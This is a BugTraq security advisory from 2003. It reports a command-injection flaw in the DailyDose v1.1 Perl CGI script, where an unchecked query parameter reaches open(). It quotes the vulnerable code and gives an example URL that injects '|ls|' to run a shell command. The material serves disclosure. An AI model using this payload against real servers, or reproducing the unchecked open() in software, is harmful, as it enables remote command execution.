BugTraq
DailyDose v 1.1 Nov 09 2003 03:58PM
Alexey Sintsov (huan xp-team spb su)


Bug is found in this script:

DailyDose v 1.1 (by www.onlinearts.net)

The script (dose.pl) does not check the input:

$data=$ENV{'QUERY_STRING'};

($command,$list,$temp, $id) = split ("&",$data,4);

. . .

local ($template) = "$tempdir/$temp";

open(TEMPL, "$template") || print "no file found $template!";

#open without check var. $temp

Example (listing):

http://www.someserver.com/cgi-bin/dose.pl?daily&somefile.txt&|ls|

--------------------------

Alexey Sintsov aka Don_Huan

huan (at) xp-team.spb (dot) su [email concealed]

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus